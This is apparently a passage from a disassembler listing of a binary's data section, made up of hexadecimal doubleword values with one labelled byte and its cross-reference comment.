dd 0AEAB0070h, 505A12C6h, 990023C9h, 0A5786127h, 297590h
dd 4DE39AD1h, 8F2156A1h, 648EB800h, 5F051E78h, 0D4CD070Ch
dd 684D09h, 2EC302BDh, 4751A500h, 2569468Dh, 0DA8A269Eh
dd 0CFE70CF9h, 0D9073A7Ch, 7E2C3C5Ch, 40BFA7F7h, 3123BCF1h
dd 959C07AEh, 10595D0Fh, 357A8540h, 412FD100h, 0A1B0F456h
dd 0E3DF3992h, 0A52CA080h, 980A7168h, 0AB5E1A02h, 404E8EAFh
dd 73C86323h, 6E2A002Bh, 0C420C176h, 0C0BA15Bh, 2A6ACh
dd 4D883405h, 460828E3h, 0F90E07B8h, 40422485h, 0EB2E3632h
dd 0D8732A00h, 7B9B1BA5h, 6A3E0039h, 6E9CA22h, 0B200FF44h
dd 0B6A57503h, 0C1D45Eh, 2943BFC2h, 0FFB71376h, 58D28840h
dd 68502459h, 0BD8A00A6h, 0EA4F7FDAh, 0A500BBBAh, 0BCCBA397h
dd 0A2EE1756h, 103740B8h, 6E4607E9h, 40B121D3h, 0B0202B28h
dd 4BA94900h, 0E98853EFh, 9D709DE4h, 0A4EAA01h, 0AE6683C2h
dd 3AA668A6h, 10D6C80h, 0D120F0F3h, 0B4410303h, 0C2655D3Fh
dd 51346826h, 8DD21490h, 0B0248456h, 88EA184Eh, 11009C79h
dd 19C138C4h, 0E6FF0Fh, 2566A21h, 40A96633h, 0BDF28400h
dd 44641C22h, 4A9C0304h, 5AE37E3h, 0FEF0F990h, 0A220C700h
dd 6715BF43h, 6DAA3F51h, 5F7B788Eh, 0C1FAA3A0h, 0D4E4DF9Bh
dd 0CB6FA003h, 0B8A2F34Fh, 48F2F5h, 0B7B535BFh, 42F13ABBh
dd 0B22BEC00h, 0CBDB3D5Fh, 0D8D6004Eh, 824658A7h, 191EA6B8h
dd 0DE07558Eh, 2BE1EC74h, 2C30782Fh, 0E73C9h, 6A7326F6h
dd 18232AE2h, 0C317DA00h, 3598FC5Fh, 0E5AB00B7h, 8BDF908Dh
dd 9903803Bh, 0F09B27D0h, 9DD188C6h, 49BDA0CAh, 24E700B7h
dd 2A9F5E20h, 710F3D2Fh, 23076DCCh, 13FBBB05h, 4AD0811h
dd 0C088C878h, 6B755C4Eh, 3B0594Ch, 9857C136h, 754CFA82h
dd 12A8E5C3h, 63004806h, 0B897D65Ch, 1EF0533Eh, 0E21EAh
dd 23785ECBh, 0C405F395h, 0BBDC84EDh, 4E76E001h, 0F180AF3Ch
dd 7A98D186h, 3300B11Eh, 0D6CDEB17h, 2B93C8h, 82950199h
dd 0B373F7FFh, 83973816h, 3CFC1000h, 29067Ah, 96409FE1h
dd 4E866530h, 469AE000h, 0F75A2FE9h, 0FA7E1E8Ah, 222C006Bh
dd 4A24DA61h
dd 89710F00h, 7F7388B7h, 98270956h, 0B481061Dh, 6E13C8A4h
dd 303AC9C0h, 8C671E62h, 0C0645F70h, 60848A6Ch, 0A30121F7h
dd 1BBC61Dh, 0D0DC4372h, 0E05300E1h, 5C8EF9D8h, 79001261h
dd 6ECCAEFh, 0C3DC93h, 0FDF52BB0h, 0EA841F2Ah, 0A7015100h
dd 78976ED0h, 733A00C2h, 3B6229F0h, 31764C68h, 38D0C400h
dd 0A3D7DE18h, 589016h, 0E1FDEA72h, 0D3E5BCFAh, 4434DF00h
dd 590CC215h, 0C31000FCh, 0D9199476h, 80002875h, 0E5D71143h
dd 0E8A83Bh, 0EE1ED157h, 39870337h, 0EA9B1600h, 86F0444Ch
dd 0B4FCEFh, 0BB623E5Eh, 1CA5A752h, 313B58h, 9386E95Bh
dd 1252788h, 0C019984Fh, 0C4B97EA2h, 0ED0082AEh, 2C7CE5D6h
dd 0F19342h, 15DD890h, 502F2821h, 7303BF7Eh, 4336840Eh
dd 4BE2C0A0h, 28203BFCh, 0ADE3D180h, 0AC646794h, 2B8C9700h
dd 31733329h, 0B9D20022h, 6D705F8Dh, 0C90062C2h, 0ABA0E856h
dd 912E60h, 819512B3h, 4C86F254h, 0E74E0700h, 465AA5D4h
dd 40D71815h, 4FEF823h, 0D082701h, 0DA175303h, 2DFB0AF8h
dd 55FC75C1h, 54954800h, 0BD8135h, 0D2DC3D65h, 912B2450h
dd 4C2F5D00h, 1315A1EAh, 6561002Eh, 5B3BAF69h, 0C0F22ABCh
dd 0F127E8E7h, 0DD782909h, 9815568h, 0D08FA306h, 2F002296h
dd 38EC31CFh, 1E39D25h, 88E45043h, 0C806870Eh, 0D8052C95h
dd 0C4B6CAF2h, 841ECAC0h, 0F0D201FDh, 67864153h, 57E4539Bh
dd 76C120BCh, 3FCFEDBh, 4181D713h, 6A816233h, 0C88AF0C7h
dd 0D9BBD003h, 0C85A6402h, 0FB25D7Bh, 83B9F9A9h, 6E7F1C41h
dd 3C05F83Eh, 0DE61607h, 3B31EE0h, 2BC9C8B4h, 0EE1D03EDh
dd 682FC0FCh, 6724F2A8h, 4BD36300h, 255CF4A2h, 4F043D61h
dd 47B52E04h, 5DACC0EEh, 0C43E503Eh, 95D18E6Fh, 4C8EFF29h
dd 97BF001Ah, 3F694164h, 0C88051A8h, 0B812F796h, 743A8666h
dd 643D00F0h, 26919E99h, 0EC6E010Eh, 0B5E8F1D4h, 7AEDDC7Eh
dd 5DFE4B05h, 8C1F5352h, 9D346380h, 3AECD70Dh, 508115D2h
dd 86358566h, 3B94407Dh, 0E800D15Dh, 8AF26E79h, 94F863h
dd 0AAEE0BB8h, 8371A764h, 67D33700h, 0DCE72481h, 42380AA0h
dd 0A84EF0Fh, 87F8BE49h, 305F5984h, 9FBA351Ch, 0F3DEC800h
dd 0C68A6155h, 898E0088h, 621394D5h, 73F814C7h, 92640300h
dd 0BF872991h, 6CFAD0h, 161CEFD4h, 90AEB07Ah, 7B441200h
dd 52468664h, 0BE240041h, 82F3E78Dh, 61288505h, 0FA3FF12Ch
dd 9C8600F0h, 0E6A8CDEEh, 743E0008h, 6F977E16h, 0D507B332h
dd 6F66112h, 0FBF9BCB0h, 0F4930365h, 30E899EEh, 0D786D688h
dd 0BB152200h, 8D23B172h, 56F600D8h, 896C492Ah, 0D900907Bh
dd 0BC06759Ch, 1841CCh, 8593A477h, 6A7932EBh, 5802B3Eh
dd 0F143C7C6h, 38B19400h, 1E4F4Bh, 0EA0C1746h, 0F4636F56h
dd 9D91FC00h, 0B2A3E442h, 0CBB907AAh, 37279097h, 0EA2B5096h
dd 170080BFh, 16CAD808h, 787143DCh, 0E6C98F1h, 5074A1C7h
dd 53C2D4C0h, 41E0F2A7h, 4E836401h, 0DBE32DA8h, 0EFCB2421h
dd 90244FB1h, 7C9C5AE0h, 10961251h, 0DC8D006Eh, 0C7B99757h
dd 3DE59B00h, 34FC5047h, 0F8289020h, 0CBCC00BFh, 526257C4h
dd 0DD00A32Eh, 0F09C5688h, 0F24C34h, 6E8690Fh, 51E6123Eh
dd 2B00E57Ah, 0D3BF902Ah, 7601C0B1h, 917900F4h, 121EE4A9h
dd 240789EFh, 0F0D01C4Dh, 5D400AB0h, 0E4AB0068h, 0B14763AFh
dd 951610E5h, 76003FBDh, 0B2F004C8h, 0C7603F7h, 425A4702h
dd 0D8DE60E3h, 0CAEB6700h, 6353A9F6h, 381A0C80h, 3DE0F36Fh
dd 0A300E37Ch, 0C6C97EB3h, 4275A7h, 701FEE59h, 8A02FB7Ch
dd 1DA82900h, 0F419235Dh, 3BBA28B8h, 802F03E4h, 0CD6E8DC0h
dd 0E842A989h, 7A00C2B6h, 0ACCE8727h, 70DF8E10h, 0F8430004h
dd 0CB4DC9E6h, 561ED215h, 0FD8336E0h, 0D05A2438h, 0F1EE125h
dd 30281DE7h, 81DDA9A0h, 0FA017C1Fh, 84430551h, 8C21B832h
dd 0AEDE9C10h, 77A50059h, 26083A55h, 0D20336BCh, 526F1133h
dd 0E968A096h, 9C6400BDh, 730DB815h, 0FA00250Ch, 0EC6A33EBh
dd 2C2095AFh, 4C0B54h, 4E35A63Ah, 0CA00CFCDh, 0AC5BE9A5h
dd 4C885EFFh, 1D00D38Bh, 37FAC344h, 4B0025DDh, 0C61463ECh
dd 4A0BE1h, 0EF7ADA45h, 848E2FF6h, 0CC6DA600h, 0EE7546B7h
dd 534F00EAh, 2BF9691Ch, 27004182h, 0F0B79A30h, 1655DB0Ch
dd 8F4E89h, 0EEDA68A1h, 7400E2A4h, 0E14A201Eh, 45B3E4h
dd 0EBF8F354h, 88579F51h, 70D9A900h, 0AA8FEE99h, 314A00C0h
dd 3765B35Ch, 6DF6AB69h, 0E2124498h, 0C04083F3h, 46263E0Ah
dd 10AD0078h, 4F49B161h, 600BBDDh, 0D70B9088h, 505CE8h
dd 686FCED5h, 130AF8F2h, 54A2E300h, 28561545h, 840400F6h
dd 711AEFCEh, 52380114h, 6F7D8018h, 59AF8C49h, 90E10222h
dd 38B6A57Eh, 6A3718C8h, 0BAD30800h, 556149F3h, 0C06F58CDh
dd 611A7C73h, 2F6BA837h, 66318EF3h, 80DBCA1Ch, 0EDAFFA07h
dd 7844184Ch, 83870934h, 9100D588h, 2CBAD162h, 0D32EE100h
dd 0C68EA518h, 0EE90C45h, 0BC306BC1h, 0C2C332Ch, 0A1658586h
dd 0F8535870h, 49B4A61Ch, 5C01287Eh, 80034AA4h, 0CDA3ED31h
dd 0A0F56AB2h, 707BE44Ch, 3EF10477h, 0C3CE61C2h, 30E1E723h
dd 0D728E8D8h, 50B2B600h, 59651CFBh, 75C900BAh, 9AD32187h
dd 3D00E3A5h, 0DC093126h, 0E2E41FAh, 0F5C45AC6h, 975308C0h
dd 0FE00BC33h, 0A7BD3971h, 33DC9DAh, 0AD38A915h, 2B8A2B1h
dd 0E80043CAh, 2B88A375h, 167D794Ah, 0E7041Dh, 1BCC344Fh
dd 7C065405h, 0D4152A22h, 4F157C1h, 34A006E1h, 26005308h
dd 35C609B2h, 76FA942h, 611FBF38h, 0DC4783B6h, 559940E0h
dd 3EB9143Eh, 65690F4Fh, 0EDEE87F7h, 2106C8D1h, 1BB459A0h
dd 500B422Eh, 601261B2h, 0C154682Ch, 4097D829h, 0B6B840E2h
dd 0FD00B16Ah, 0E84AEB49h, 11C6C5Ah, 23B307EEh, 95C5B8DDh
dd 106019B9h, 0E91D3516h, 1961D8F7h, 0D000928Bh, 4AC15D1Ah
dd 52ED6FEBh, 4F107028h, 0A8171E70h, 62E29E80h, 0FB92A407h
dd 122BE888h, 0BA776107h, 7C80B6C4h, 7C32D2D8h, 5469C16Dh
dd 58EB14AEh, 9F00A44Ch, 0D833E8F0h, 40DABE3Ch, 3F141DD5h
dd 12006FDh, 6AD09CB2h, 0A887C0BAh, 6C4647A6h, 32591438h
dd 61BC0758h, 0FC6ADE4Fh, 7504215Dh, 0C7AFB3E1h, 931210BAh
dd 0E4200002h, 0F0635CD7h, 31208500h, 67B31FB8h, 0EDD6063Dh
dd 290DCAAFh, 225D0B22h, 1B22696Ch, 2844423Eh, 7F9028EFh
dd 280F29CAh, 0C5DC1A04h, 814E30Ah, 23916864h, 0F93C500h
dd 2B589204h, 697F2F00h, 51064743h, 0D4120015h, 7C7E6219h
dd 6B098B0Ah, 1AB7282h, 73BE3F86h, 0F29B4BDCh, 1A28399Eh
dd 0DC2B6200h, 0E103E5D6h, 0E051402Ch, 28225F60h, 0DE7CB0h
dd 0D2134474h, 0A28BECDDh, 0FC9D6A00h, 5933CF3h, 374E393Eh
dd 84342581h, 0CC94F159h, 0BD00F546h, 715702ABh, 79AE59Eh
dd 38430CE9h, 148F708Dh, 8A00F4B8h, 0D926D26Ch, 0FEA0FB10h
dd 275A0349h, 53BA4B54h, 0C8B4ACA0h, 0F711D8A9h, 7346EBB0h
dd 65F0B312h, 0C8801C8Bh, 13705BEDh, 88633026h, 58319F97h
dd 0A1405EE7h, 0AEB10Ah, 0B55FB068h, 291AA217h, 9DBFB807h
dd 1E708A4Ch, 4892B3h, 0C4AE83E7h, 0C660E54Eh, 0AFCDCF00h
dd 4347415Dh, 0F8F9A386h, 0BC84C9h, 42D239FFh, 0A051CB87h
dd 0B5805E1Fh, 54002F1Fh, 89F02B13h, 57731463h, 2300A064h
dd 0B370AC80h, 0BA00AEC1h
dd 0A7DDB77Fh, 723F58h, 81651ED7h, 41B22924h, 63E6A200h
dd 0F9B15D23h, 3B4D4A09h, 0D8DAC800h, 0BD008261h, 3793198Fh
dd 1E81179h, 21C5A72Ah, 0F17295CDh, 0F618C08Ah, 0E82D2C31h
dd 77F1C487h, 0E9B4CCh, 0DEC1072Ah, 492C1E38h, 0DCBC9400h
dd 0B1CDAB57h, 0C5410053h, 0AAE8F12Eh, 28056189h, 5DFDA997h
dd 41D6F5C2h, 0F42962E8h, 0FA300A80h, 0DCA02003h, 0F900B212h
dd 0D971E777h, 0E06114h, 37079398h, 4C70BD4Eh, 0E101F300h
dd 0F235B757h, 0F5E63C86h, 0E46DC980h, 0A6465509h, 728CFA02h
dd 0C0E1A092h, 0EE2AE53Ah, 835607BFh, 8E6A3h, 44B7EACBh
dd 6185CE00h, 0D0387A11h, 0AC650019h, 0B7674E2h, 0DE015637h
dd 1C9620B8h, 16CCBE21h, 0AD14005Eh, 98179C4h, 6F1DD6AAh
dd 3207235Dh, 201B3978h, 7DF3B034h, 0BC7A003Eh, 0A5CD5A59h
dd 0D3070AB2h, 0BE7CC4B7h, 3014CFD0h, 0F6A80072h, 0E5FB3DB9h
dd 0D0014704h, 0E82DE706h, 95D80A34h, 0D90E28F1h, 2B6011F0h
dd 7D3EC359h, 0F9ACB848h, 0F4AA0070h, 88063074h, 21D9C7Bh
dd 6440B97Eh, 8FD3E05Ch, 8AF70027h, 0DCA5D68Ch, 1E001FE6h
dd 86BC16C4h, 26AEB4F9h, 1B4268Dh, 4781033h, 0F875EC88h
dd 0E608EF01h, 0D1BBC479h, 7E51E8h, 973A8FEEh, 52634BFBh
dd 0A086B500h, 5D315864h, 3CE1003Eh, 19488C9Eh, 0BC14C44Fh
dd 0BC338Dh, 0F84079F6h, 4247EDBh, 0EBF23FD9h, 0DC58D04Eh
dd 0C8E09345h, 2D428300h, 0F392B66Dh, 0C97E00EAh, 543E96E6h
dd 0CE8CBB8h, 51696800h, 81F35F32h, 409E00E0h, 490517B3h
dd 0DF1F1DD1h, 16C0849Fh, 0CC2672F8h, 5C98E9h, 17F1AE69h
dd 13FF7D73h, 0D78DC200h, 7972AACBh, 46CCA025h, 31A00062h
dd 78673F6Eh, 4A603E7Fh, 665647ECh, 0F40F2AFh, 0B2BBE4Ch
dd 0E5D70F40h, 1C7ECC1Fh, 0EE00AC92h, 0E72EFEF9h, 1CBEB37h
dd 0D88DE6DBh, 2009A0CEh, 300093B8h, 4D54D127h, 20DC49h
dd 3DCF2C69h, 0A37B2D1Ch, 45294E02h, 0E8FD7516h, 1F1F5BBCh
dd 4072FA9Dh, 0FB6EC6A9h, 8600E091h, 0B8EA5A45h, 0B662Ch
dd 641C5C71h, 0E729230Ah, 160F410Bh, 0A1DC400Dh, 0EC350710h
dd 0C03AFDBDh, 0EA84281Eh, 9D34CE00h, 9B931A11h, 890E2h
dd 0B6CA8EF1h, 38067019h, 442FE001h, 14F75B49h, 0D4EDF887h
dd 0A9771B1h, 1332C042h, 580118C0h, 0C0F35472h, 6CB5D611h
dd 8B0483D4h, 0E1576017h, 345E14D0h, 4E1504B1h, 0D0BEA876h
dd 0E7EDD310h, 1F6B2319h, 0F9463A10h, 0D5CC263Ch, 42960018h
dd 0D611B993h, 0CB4C10C0h, 473AB4h, 8EAD5787h, 35D1E2C3h
dd 3438CE2Eh, 0C13078BBh, 6FE778EBh, 394B0BBh, 53218370h
dd 0A2E0D4E6h, 389871A6h, 0C70E8B00h, 6B63D273h, 5ECD00CEh
dd 0BF97BA01h, 50001209h, 0FECA3B3h, 7833DBh, 0D332CB75h
dd 43C8AEC9h, 0B2F79500h, 9EF38BB4h, 0CC300BDh, 4FEC3870h
dd 92163427h, 5A0F1C5Dh, 0F57520F2h, 1E97A044h, 3501177h
dd 0F430C77Ah, 0E7660801h, 49037DD1h, 0F5C001EFh, 0CB52A267h
dd 0FC3C65h, 0EF269895h, 3F11E64Bh, 0DD00AF12h, 2CBFF4DAh
dd 10009EBBh, 178A8EF9h, 0E0AFACE5h, 0D5FA00EDh, 0E04A464Fh
dd 8F73F7FFh, 1C193126h, 0C1EA14h, 7BD1E457h, 3811C59Ah
dd 3900AA03h, 0F4D930FCh, 82517FABh, 2EDFCC98h, 0E388F000h
dd 0A8EE1068h, 0F62B055Ah, 0C42D02BEh, 4A5CC01Ch, 3339E967h
dd 44D70076h, 0E29F5DAEh, 0A9A30088h, 0E90C171h, 9D07C99Eh
dd 6CF6781Bh, 792D4800h, 6690008h, 3983EEDBh, 85003C38h
dd 905B3BA6h, 0BCBE353Fh, 0B6D25024h, 9466B48h, 2076AF0Eh
dd 92833F20h, 8EE203h, 0D3938658h, 5532FAACh, 3E1C7F48h
db 0A0h
byte_520045 db 0A0h, 0EEh, 0 ; DATA XREF: ___:00438120o
; ___:00438138o
dd 5ADA92E3h, 1A5F2D6Fh, 0F29FEF00h, 6A24B25Bh, 0D1781286h
dd 9A5407A6h, 44438017h, 0B1E8160Eh, 2EF8B048h, 57054A11h
dd 82015450h, 9DDC8AF5h, 3599D4h, 0FB245FFh, 6E5C5A64h
dd 0BA873Ch, 69482132h, 7CD36Fh, 677862FCh, 451D68AAh
dd 5DFE2D1Eh, 4D71CC9h, 0E08C5508h, 4A854816h, 54C3B407h
dd 0F75D9049h, 0FF00EA8Bh, 0B8344DA6h, 7C91CFCCh, 0A3E5013Dh
dd 43EB5D13h, 2DF460A9h, 0A8F9DD01h, 67C5BF39h, 0A024E0D0h
dd 8423E0h, 7A20958h, 26B21F95h, 5463600h, 52C7CF90h, 2FD13A5Ah
dd 0E5F8CA30h, 167411F7h, 6E54A200h, 568CAA5Bh, 833F639h
dd 745E6445h, 0CCF16500h, 387AEED1h, 6E05614Eh, 9D0B4Fh
dd 0DDC0D8ACh, 9F006CACh, 0E10255F3h, 0C3092Bh, 5A613050h
dd 0F4FC061Dh, 4CCB8600h, 0A811AE89h, 2A383C9Dh, 0B1B3B580h
dd 0D88490F8h, 7CF51B00h, 8701FC43h, 8CA701F6h, 12AC4FE0h
dd 0AE20F08Eh, 8205C179h, 8D36356Dh, 0E83E7080h, 0A67D0093h
dd 0CDEBA45Dh, 471D42B8h, 4F404802h, 9DE4616Ah, 9E580A5Fh
dd 808A1Bh, 0A928CCFEh, 6400CB53h, 718CF086h, 16B542Dh
dd 9851CE01h, 7083C26Eh, 8900BCA8h, 0C7ED393Dh, 38A1EBC8h
dd 0B5801318h, 8FA02BD4h, 596057DBh, 0BFB9C464h, 0B36D004Ah
dd 0AB3378CDh, 80031BEh, 0BD5DBE0h, 0B4EE17h, 3B9040A2h
dd 7E571A1Ch, 8E2E68C0h, 9B67D6h, 49D8E436h, 7A013E7Bh
dd 0A7CF8D00h, 97C87586h, 0C7280E8Bh, 1180E0EDh, 379B1F05h
dd 0BEBDBF08h, 0EB8600AEh, 0E453EFEEh, 77FD5F00h, 0E3A4FEF3h
dd 958C0F19h, 0B7400CFBh, 3864BC0Bh, 75EAD700h, 24070282h
dd 0BF4D4827h, 78557918h, 0BC1FFF30h, 950068B5h, 39075613h
dd 60022467h, 0C0A0704h, 0F49B5054h, 5D3021BDh, 0ED27185Fh
dd 0F7F8E9BBh, 941032Bh, 378F0B53h, 0A5CC86B0h, 0D608FCBEh
dd 40B5808Ch, 1134763Bh, 0DCBE1F00h, 7E8AED33h, 0D21824DBh
dd 979E0184h, 2E7160ACh, 0BFB058C0h, 5DFD0BB3h, 6025CC79h
dd 4068E7D8h, 0B10047C2h, 0FD736085h, 0EDEC08h, 97C33E06h
dd 74AD391Dh, 0C0C67B03h, 80565401h, 0A0BF295Ah, 9C288C6h
dd 0DEE3A321h, 0DB00CC50h, 7FADCAFEh, 36B20D7h, 0C7952716h
dd 73D823F8h, 59724FA5h, 2AC58F00h, 4EA7DE74h, 0B19C00E5h
dd 6F857AEDh, 0A3007D7Bh, 0E08A8BC6h, 279819Bh, 9C3F802Ch
dd 7469FDDDh, 8784C0F9h, 90114800h, 0A8DF1483h, 0C23C2CBBh
dd 0CF4A0014h, 87D2929Bh, 0B8AFFE00h, 1BD71008h, 7918B0F2h
dd 0EF403B28h, 9B549E8Eh, 0D6D99920h, 1A05AFE5h, 74D7324Dh
dd 0C1DDACC0h, 5B9501D2h, 0CBBB9024h, 0C84A2A8Bh, 8601A399h
dd 70601214h, 0B7002038h, 97CF84DAh, 0FF305EF8h, 913219FAh
dd 87E0078h, 0A9CAB2A8h, 59284972h, 6004D4ADh, 2D14CB09h
dd 0A0458B0h, 0BDFCB325h, 761100F0h, 0F81C8530h, 928080A0h
dd 34DFF30Eh, 3ABA454Eh, 20C1C800h, 0CAB99Ch, 376BF13Ch
dd 0A8F6E52Fh, 90203D60h, 7B2B57h, 5306C507h, 95BB47EEh
dd 832E9778h, 0F40964F0h, 0CF888045h, 0EAF339h, 0E54B1420h
dd 0AD9CECDBh, 6B755E02h, 4066A42Eh, 74C4D3h, 0EFFB96B3h
dd 6EED3106h, 0B6608E7Ch, 949129FCh, 6C8400C0h, 4B4FD6EAh
dd 79017BE4h, 0A7DDFEC5h, 8C48DFBDh, 3EF20020h, 0A519A05Ch
dd 44002D51h, 9737F1B5h, 0C82861h, 235ECEF3h, 0A5D753B9h
dd 9300CC9Ch, 4AF46449h, 7727013h, 0D83963A7h, 2225C0DEh
dd 2C005490h, 0E5C66843h, 2F5AD9h, 367920F1h, 0A1B241B8h
dd 891AA31Ch, 359EB4DEh, 281DF580h, 0B9B8Ch, 0B27F81DEh
dd 23542CA9h, 44B70600h, 55A29F3Fh, 791F0133h, 6753380Ch
dd 90C2801h, 0E7A810h, 0E114D94Eh, 0AB960072h, 4AB8049Ch
dd 9095C0D0h, 3EA16E2Ch, 8100EA23h, 0F82E6C0Eh, 0F24FAB9h
dd 0DE003014h, 6703A8A1h, 8206029Ah, 0BB91643Ah, 0F0B16275h
dd 0A134063Ch, 36D1B2D8h, 295B350Fh, 566C065h, 0A0B64119h
dd 487980C4h, 8A0B74C2h, 7D806C2Ah, 6A134E36h, 8F1A4400h
dd 0E4415EE2h, 0ABC901C0h, 0E7B307C3h, 0D8B8711Fh, 76784268h
dd 160044E6h, 0DE38B22h, 3177EE5h, 10116E05h, 129BD6BBh
dd 405F8FF0h, 0D5060A00h, 4A60D37h, 8B2C5CF5h, 3B00273Fh
dd 9BC6C37Fh, 8E005D46h, 0D172DF91h, 0EC1FC869h, 65923D8Fh
dd 0BC05D92Dh, 28BD0F57h, 0F22EB60h, 3C0702E0h, 45D0AF3Ah
dd 58E4BF51h, 169EA1ECh, 97C691h, 3D10FCA3h, 56E25598h
dd 260026B8h, 962C24Ch, 619E0CB2h, 0C5EE6199h, 247D30h
dd 6FE1A946h, 5DBFA44h, 0BCB5A57Fh, 0A4100728h, 0E46640BDh
dd 450EDBF2h, 82C8FA34h, 0FAF66C09h, 116A0028h, 49CBBAD3h
dd 0A30AB2D2h, 102D6B4Ah, 26604418h, 0C77D0096h, 61E2343Bh
dd 1E01074Bh, 1473C683h, 60CAB4D3h, 6CD3516h, 1B8CD029h
dd 0C0C08928h, 0DE83CC45h, 50DA783Ch, 0B408C1h, 0A3ECBCC4h
dd 0F558B7CDh, 0E2D8F301h, 929D9453h, 51147C40h, 8AA450A8h
dd 23830058h, 35C60AF9h, 0EE001AEAh, 0CD191317h, 0FA1A3C2h
dd 8A6D891Fh, 0E1967660h, 0CA00C34Bh, 713B67DAh, 4841C9h
dd 0B0E05044h, 8D2AD366h, 8797FD3Dh, 3A31F1AEh, 639C01Fh
dd 361909Bh, 0DEDC5256h, 0F7A08D6Bh, 2200C981h, 50E0A683h
dd 915743h, 95D17685h, 9D69F5E5h, 8019AB3Eh, 588EB287h
dd 7AD523Ch, 953A869Bh, 92254114h, 0B9F8208Ch, 7EE25D07h
dd 0BC90B82Ch, 9AF31Ch, 71C0AC22h, 63ABB140h, 34051FFCh
dd 0DA05B636h, 0C28E8C40h, 652B733h, 6B29CA7Dh, 0C3600875h
dd 33C81521h, 854803E4h, 0BCE04344h, 9609C4D0h, 0DC087818h
dd 32C0D29h, 3D0B205Ah, 73E814B1h, 0F900164Ch, 4ECA8ADDh
dd 39B932B4h, 706749EBh, 0DC25A0CEh, 20096735h, 20EC2D08h
dd 98B7D118h, 5C4507E1h, 1C6C33FAh, 1CBAD508h, 9970AB00h
dd 4DA1A42h, 0D3051D86h, 3107499Ah, 90341820h, 0E1005D8Bh
dd 0E56AFA36h, 0E45A8E94h, 46EB0F0Ch, 0C1B747DFh, 8CB6D754h
dd 18FA2378h, 0F934F242h, 6206D9BEh, 0B8F4651Ah, 395D2814h
dd 4D3A0E0Ch, 8B1E5F91h, 2406C806h, 3F3D0081h, 3AA592FDh
dd 9E1DED52h, 75195112h, 0FDCC9A21h, 242A018Fh, 6228CE73h
dd 97598036h, 9ACB7DF4h, 37AA0AEAh, 0BFDCBFA0h, 848F3078h
dd 0E4F96110h, 8BBD900h, 0EF5CAB71h, 7E2200D3h, 93518B45h
dd 0C6011F9Dh, 8F025E66h, 7AEC6772h, 38870065h, 0CF3694B7h
dd 35023E5Ch, 0DA5E53ACh, 0D1B6E09Ah, 0E8263D0Eh, 6F559500h
dd 87ACF1AFh, 223B1A00h, 3DA74D1Eh, 1F730768h, 0C0BA52E7h
dd 0D544593Ah, 0E4DA4100h, 0C569C65Ah, 0D8AD0331h, 517683FEh
dd 40621000h, 80E8CBBEh, 0AF3D0EF2h, 0C003D242h, 5000C8A5h
dd 0BABE29C2h, 337A74CEh, 50386F06h, 0E726DC88h, 36918000h
dd 61A19042h, 0B2FEF0h, 9F81B6C2h, 19EF088Bh, 0D6031602h
dd 839C9BFCh, 0D8253D3Ch, 147CB935h, 0C92EA7Ah, 65692703h
dd 52B97696h, 702F08AEh, 4891628Bh, 9A00960Ch, 24FD68h
dd 0F7734874h, 2BFB9FA0h, 0DE5799C6h, 0D7AE0008h, 21875B5Eh
dd 0DB004C48h, 0F7FE5186h, 0ED5DAFDEh, 16DA30h, 9725568Fh
dd 9C99A977h, 52588806h, 118B5B2h, 28638DB9h, 0DC06D143h
dd 300DA2Bh, 0A557A22h, 479CCBh, 7F5CDE4Eh, 0BCD82F34h
dd 3E006E75h, 0EE804BB4h, 1CC9B8h, 0AB3D676Ch, 0EB3FC5F3h
dd 411FDB00h
dd 0E0FBA1D0h, 0A5010356h, 9AF403C2h, 11376274h, 0A8F02040h
dd 35B3456h, 2698A30Eh, 24F21D0Fh, 531ED3C0h, 283F9E1Eh
dd 0F4155A87h, 7B19189Ch, 57D03ABFh, 0F518E5C8h, 0D3C1701Bh
dd 78E86401h, 1EA483DDh, 21C40998h, 644CC8E1h, 0D5397D08h
dd 0D71081A6h, 2707A250h, 44FE0h, 0C08A11Bh, 54735B9Ah
dd 0F36F6C7Ch, 11A2A041h, 1E0DEC39h, 0C63D39Ah, 0E1F9A678h
dd 56DE048Ch, 61D2A507h, 70073FF6h, 289956A6h, 0A48B200h
dd 78B7DCC7h, 8D1C0CE8h, 0D6E81D8Bh, 4051236Fh, 0C87A39DAh
dd 0A4F30E2Ah, 0C60CEB1Bh, 0EA60B988h, 912035A1h, 94BF076Bh
dd 703695A5h, 19547040h, 0AD254200h, 749A6615h, 0D43C0759h
dd 87D71D4Dh, 9BCB33E8h, 0D6228088h, 6547B100h, 32150F85h
dd 0A73B0341h, 0D33CBF77h, 0DE203FF8h, 0A127751Dh, 48B4C100h
dd 0B90308h, 7D907B44h, 0F6E06496h, 5C9E0B5h, 0AED21D70h
dd 0E2444062h, 4C5AA9E4h, 1B676F0Eh, 0A40DC026h, 0FCEE79Ch
dd 0CBC9BA27h, 105F47E0h, 0C63AF377h, 0DEC50751h, 8520043Fh
dd 7A1D9DBAh, 0C940C090h, 0C2AE9E27h, 5F0CB000h, 1020B411h
dd 2BE41F9Ch, 0FCFF8168h, 0E8794535h, 83009AEAh, 327BCBC1h
dd 0B4AA90h, 0DF7420ADh, 0BE3F8541h, 9000C77h, 83D48A87h
dd 63357Eh, 0FEAFA4ABh, 88C4C0AEh, 0C76C271Eh, 0ADCF0E86h
dd 0BC4B3979h, 10D96833h, 97E26380h, 0D89A8100h, 78DE5E5Ah
dd 3D7200D5h, 63A25C0Eh, 140044A6h, 8FA4BA1Fh, 30E80FE7h
dd 9D0C463Eh, 4006E668h, 4AA7E249h, 0D800008h, 0B248EDE8h
dd 0A6073B99h, 0DEFC9BC3h, 3294C670h, 0AFD1460h, 0F9001CE4h
dd 0F721E12Fh, 481779B7h, 0FC0BC5E9h, 0DAA600DEh, 0E04DE7h
dd 6D5DA73Dh, 217E70CDh, 0D3492200h, 3C6173C2h, 1D4BFCF7h
dd 469803BBh, 11508681h, 0A0045152h, 0C05749F8h, 0B4936910h
dd 7200530Eh, 4B7DD6B9h, 5236CEh, 79F8AD63h, 68076020h
dd 2BBD0A18h, 88D02528h, 0F5885006h, 0B8828821h, 0EC080189h
dd 84E15644h, 22AF5122h, 7A78D26Dh, 2208BD89h, 0C029B544h
dd 9F626A51h, 0DF1F7513h, 0F1405891h, 0F5749EBBh, 204A0087h
dd 0C955BEF6h, 0C71DA85Fh, 0C8016E69h, 0D0B3768Ch, 910009BEh
dd 0A2201675h, 0E90B624Fh, 80489828h, 191C9E70h, 0DFEA5Dh
dd 4A61C68Eh, 0C03268D6h, 4936501Dh, 0D88DFA00h, 0EAFDFBh
dd 568AACE0h, 5150CF59h, 0E4F69600h, 0B87A3720h, 0BA65008Dh
dd 0B94BC7C0h, 48021886h, 42D30A29h, 20CCAF60h, 0E5593384h
